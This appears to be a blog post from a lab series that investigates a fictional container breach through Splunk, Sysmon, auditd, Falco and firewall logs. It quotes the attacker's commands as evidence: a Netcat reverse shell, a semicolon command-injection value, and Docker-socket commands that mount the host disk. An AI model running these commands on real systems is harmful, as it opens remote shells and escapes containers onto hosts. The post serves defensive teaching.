Shell to Signal
CASE_001/SOCLab

Following the trail: what the logs saw

Two strange files on a server, and nobody knows how they got there. We start from one file name and follow the logs back to the open dashboard.

Level: IntermediateCase 001 · TelemetryLinux · Docker
11 min readPart 2 of 3

The next morning, an admin at SOCLab finds two files in the server’s /root folder. Nobody on the team created them:

>_
/root/soclab-poc-A.txt
/root/soclab-poc-B.txt

Nobody on the team noticed anything unusual overnight. So how did these files get there, and who put them there?

That is all we start with: two file names. Let’s follow the logs and see where they lead.

Note

About this lab. SOCLab is fictional. Everything here happened in our own isolated lab, and every screenshot and log line is real. In Part 1 we watched the attack happen. Here we play the defender who knows nothing yet.

Before you start: it helps to know basic Linux commands and to have seen a Splunk search before. New to the attack itself? Start with Part 1.

In 30 seconds
  • What happened: a web form in a container was abused to open a reverse shell. From there, Docker’s socket was used to start a container with the host’s disk attached, which wrote the two files.
  • What was missed: Falco warned about the reverse shell, but nothing alerted on the step that reached the host.
  • What you will learn: how to follow one clue across five telemetry sources, rule out a false lead, and spot a clock that lies.

Where do we even start?

With one clue, the simplest move is to search for it everywhere. In Splunk, we searched every log for the text soclab-poc and grouped the results by where they came from.

>_
index=* "*soclab-poc-*"
| stats count min(_time) as first_seen max(_time) as last_seen
        by host sourcetype source index

This search returned four telemetry sources on the server, cont01. Think of them as four different witnesses in one building:

Words used in this post
journald
The server’s general diary. In our lab it also holds Sysmon for Linux events. Sysmon records programs as they start, with their command lines. In this investigation we also used its file-creation events.
auditd
The Linux kernel’s strict security log. It records low-level actions, such as “this program connected to that address, and it worked.”
Docker events
Docker’s own activity feed: containers created, started and removed.
Docker inspect
A record of each container’s settings. Docker does not keep this on its own: our lab runs docker inspect every five minutes and saves the result.

Search results for the file name, grouped by log source. Our first search: four telemetry sources on cont01 mention soclab-poc. (The 20 October rows are our own checks during the investigation.)

So the file name matched four sources: journald, auditd, Docker events and Docker inspect. The full investigation uses five telemetry sources, the ones in the “Where we looked” panel at the top. Here is how the two lists fit together:

Telemetry sourceWhere it livesMatched the file name?
Sysmon for Linuxinside journaldYes (the journald match)
auditdits own logYes
Docker logsDocker events and inspect snapshotsYes, both (two of the four)
Falcoalso inside journaldNo, its alerts never mention the file
Firewalla separate sourceNo, it sees network traffic, not file names
From my notebook

My first search was index=*. It works in a lab, but many companies block it because it is slow and heavy. Knowing which index holds what is part of the job.

Which program wrote the file?

Sysmon records file creation as event 11. Listing every event 11 was far too noisy, so we narrowed it down to our file name.

From my notebook

My first try listed every file event and returned over four million results. Lesson learned: a big count is not an answer. Keep narrowing until you can name the process.

That gave us the exact moment /host/root/soclab-poc-A.txt was written. Then we looked at which programs started a few seconds earlier. One command stood out:

>_
docker -H unix:///var/run/docker.sock run --rm -v /:/host alpine:3.22 \
  sh -c "echo SOCLAB-POC-A $(date) > /host/root/soclab-poc-A.txt; echo done"

This asks Docker to start a small throwaway container. The key part is -v /:/host: it hands the whole host disk to that container, under the folder /host.

So /host/root/ inside the container is the real /root on the server. The container wrote the file straight onto the host.

auditd caught the other half of this step: the docker command opening Docker’s control socket.

auditd record, shortened
type=SYSCALL  syscall=42 success=yes  pid=3895 ppid=3528  comm="docker"
type=SOCKADDR saddr_fam=local  path=/var/run/docker.sock

The highlighted line is the clue: a program connected to /var/run/docker.sock. Whoever talks to that socket can give Docker orders.

Sysmon showing the docker run command and its parent process. Sysmon event 1: process 3895 runs docker … -v /:/host …. Its parent is process 3528, the next clue.

Quick questionWhy does the path say /host/root, but the file is in /root?

Because of -v /:/host. The host’s top folder / appears inside the container as /host. So /host/root/soclab-poc-A.txt inside is /root/soclab-poc-A.txt on the server.

Who started that docker command?

The docker command had a parent: process 3528. When we searched for 3528, we found this:

>_
nc 10.10.30.10 4444 -e /bin/sh

This is Netcat, a simple network tool. Here it connects to 10.10.30.10 on port 4444 and attaches a shell (/bin/sh) to that connection. Whoever is listening at the other end gets a command prompt on our side. This is called a reverse shell.

From my notebook

My first thought was “reverse shell”. But I parked that idea until a second log proved the connection actually worked.

But did the connection actually work? A command can start and still fail. auditd answers that question:

auditd record, shortened
type=SYSCALL  syscall=42 success=yes  pid=3528  comm="nc"
type=SOCKADDR saddr_fam=inet  laddr=10.10.30.10  lport=4444

Read it in two parts. syscall=42 is the “connect” call, and success=yes means it worked. The second line says where to: 10.10.30.10, port 4444.

auditd records showing a successful connect to 10.10.30.10:4444. auditd’s connect records, as they appear in Splunk.

auditd recorded the connection three times, each from a different Netcat process. The firewall later showed one more, so the shell was opened four times during the day.

And this Netcat was not running on the host. It was running inside the opsboard container.

Did any alert fire?

Yes, but only for part of the story. Falco raised a warning for every Netcat launch we found inside opsboard that day:

Falco warning: Netcat runs inside container that allows remote code execution. Falco’s Netcat warnings in Splunk. The box below shows the parts that matter in one of them.

Falco alert, shortened
Warning Netcat runs inside container that allows remote code execution
  command=nc 10.10.30.10 4444 -e /bin/sh
  container_name=opsboard  user=root

Now the surprising part. Falco said nothing about the docker run -v /:/host command. That is the step that actually reached the host, and the default Falco rules had no rule for it.

Defender's corner

The loudest alert was not the most important step. Falco caught the reverse shell, but missed the escape to the host. If the team had only watched alerts, they would have seen “Netcat in a container” and never learned that the host was touched. Part 3 closes this gap.

How did the attacker get into opsboard?

Opsboard is SOCLab’s small dashboard. Its settings, recorded by Docker, explain a lot:

>_
docker run -d --name opsboard -p 8080:8080 \
  -v /var/run/docker.sock:/var/run/docker.sock ...

Two things matter here. Port 8080 is open to the network. And the Docker socket is mounted inside: that is Docker’s control line, so anything in this container can give Docker orders.

This is not a flaw in Docker or in the Linux kernel. Docker did exactly what it was told. The weakness is a setting: handing Docker’s control line to a container that the network can reach.

A false lead first

Our first search for requests to opsboard found a curl command, typed on the server itself, with a Netcat command hidden in the address.

It looked like the answer. It was not. It came from the analyst account on the server itself, and its Netcat never connected. It was a local test, not the intruder. Ruling out our own activity is part of the job.

From my notebook

When I saw the server sending a request to itself, I got curious. Why would a host call its own dashboard? That question is what made me check who really talked to opsboard.

The real visitor

So we asked Falco and the firewall a better question: which addresses actually talked to opsboard?

Falco has a rule that fires when a program hands a network connection to a shell or script. Opsboard’s listener does exactly that for each visitor, so these Falco notes show who connected. Most came from one outside address: 10.10.30.10. The same address the reverse shell called back to.

Show the Splunk search
Who talked to opsboard? (Falco notices)
index=linux host=cont01 sourcetype=journald "Redirect stdout/stdin to network connection"
| rex field=_raw "connection=(?<connection>[^ ]+)"
| rex field=connection "(?<client_ip>\d+\.\d+\.\d+\.\d+):(?<client_port>\d+)->(?<container_ip>[^:]+):(?<container_port>\d+)"
| stats count min(_time) as first_seen max(_time) as last_seen by client_ip
Falco notice, shortened
Notice Redirect stdout/stdin to network connection
  connection=10.10.30.10:57690->172.17.0.4:8080
  process=handler.sh  container_name=opsboard

Read the highlighted line as visitor address:port → opsboard:8080. The firewall saw the same visitors at the network edge:

Firewall log, shortened
13:19:06  pass  10.10.30.10:57984 -> 10.10.10.30:8080    a normal host check
13:24:05  pass  10.10.30.10:37100 -> 10.10.10.30:8080    the ;id test
21:03:41  pass  10.10.10.30:36011 -> 10.10.30.10:4444    the shell calling back

Notice how the last line goes the other way: the server connects out to the visitor. That is what a reverse shell looks like at the firewall.

Firewall log: 10.10.30.10 connecting to the server on port 8080. The firewall saw 10.10.30.10 connect to the server’s port 8080 again and again. We matched these rows to Falco by the source port, not by the clock.

Then the process logs showed what each request did inside opsboard. The dashboard’s “check a host” feature runs ping on whatever you type. The visitor typed a host, a semicolon, and a second command:

>_
sh -c "ping -c 1 -W 1 127.0.0.1;nc 10.10.30.10 4444 -e /bin/sh"

The semicolon ends the ping and starts Netcat. That is the command injection that opened the reverse shell.

What about the second file?

File B followed the same idea with a different tool. This time there was no docker run command. Sysmon showed the reverse shell (process 1855) using curl in another container, metrics-agent, to talk to Docker directly:

Sysmon: commands started by process 1855, shortened
docker exec metrics-agent curl --unix-socket /var/run/docker.sock http://localhost/version
docker exec metrics-agent curl --unix-socket /var/run/docker.sock -X POST \
  -d '{"Image":"alpine:3.22", ... "HostConfig":{"Binds":["/:/host"]}}' http://localhost/containers/create
docker exec metrics-agent curl --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/31529af236ee/start
  1. Check that Docker answers: /version
  2. Create a container with "Binds":["/:/host"] (highlighted): the same host-disk trick
  3. Start it, and the container writes soclab-poc-B.txt into /root

Sysmon process tree for the curl route through metrics-agent. Every command here has the same parent, process 1855: the reverse shell. Version check, create, start, then date as the visitor leaves.

Key takeaways

Same result, different tool. File A used the docker program. File B used curl and Docker’s API. A detection that only looks for docker run would catch the first and miss the second.

Why did one alert look an hour and a half early?

For file B, Falco’s Netcat alert showed 19:36. Every other log said the shell opened just after 21:03. Was this a different attack?

Short answer: no. We knew it was the same connection because the source port matched, even though the timestamps did not.

We compared three things:

LogTime shownSource port
Falco19:36:5136011
Sysmon21:03:4236011
Firewall21:03:4136011

Same connection, same source port. Falco’s event time was early, while Sysmon’s main timestamp and the firewall lined up. Splunk itself gave the game away:

The same Falco alert in Splunk
_time         2026-10-18 19:36:51    time written inside the alert
indexed_time  2026-10-18 21:03:52    when Splunk actually received it
Show the Splunk search
Event time vs. the time Splunk received it
index=linux host=cont01 "36011" "Redirect stdout/stdin to network connection"
| eval indexed_time=strftime(_indextime, "%Y-%m-%d %H:%M:%S")
| table _time indexed_time _raw

The cause was mundane. The computer running the lab went to sleep for about an hour and a half, which paused the server. Afterwards the server’s normal clock was corrected. But Falco stamps events by counting time since the machine started, and that count skipped the pause. Sysmon has a second time field, UtcTime, that is counted the same way, and it showed the same gap.

Common trap

The time inside a log is not always when it happened. When two logs disagree, check when Splunk received the event (_indextime), and match records by something stable, like a source port. Earlier that day the server’s clock also ran behind the firewall’s. Clocks drift; source ports do not.

Who saw what?

Here is the investigation timeline, step by step, and which log recorded each step.

StepFirewallSysmonauditdFalcoDocker logs
Visitor reaches opsboard on port 8080YesYesYesNoticeNo
Injected command runs (ping …;nc …)NoYesYesNoticeNo
Reverse shell connects to port 4444YesYesYesWarningNo
Docker socket is usedNoYesYesNoNo
Container starts with the host disk (/:/host)NoYesNoNothingPartly
File written to /rootNoYes (A: file event, B: command)NoNoNo

For Falco, “Notice” is a low-priority note and “Warning” is a real alert. “Partly” means Docker’s activity feed saw the container start, but not the host-disk mount. Our five-minute settings snapshot never saw it at all: the container finished and removed itself in under a second.

Quick recap
Start small. One file name, searched everywhere, gave us the list of witnesses.
Follow the parents. File, then docker command, then reverse shell, then the injected request.
Rule out your own activity. The first curl we found was a local test.
Do not trust one clock. Match records by source port and event order.

Want to follow the evidence yourself?

We packed up what we used, so you can retrace the steps on your own. Inside: our notes, the timeline, the Splunk searches, and a small cleaned-up sample of the real events from the lab. A short README explains the lab and where to start.

Download the Case 001 investigation packcase-001-investigation-pack.zip · 18 KB

Everything in it is activity from our isolated lab. Try starting cold, with only the two file names, and see how far you get before you peek at our notes.

What comes next?

We now know the whole path, and we know where the alerts stayed quiet: the Docker socket and the host-disk container. Part 3 turns these findings into detections that anyone running Docker can use, and tests them against both routes.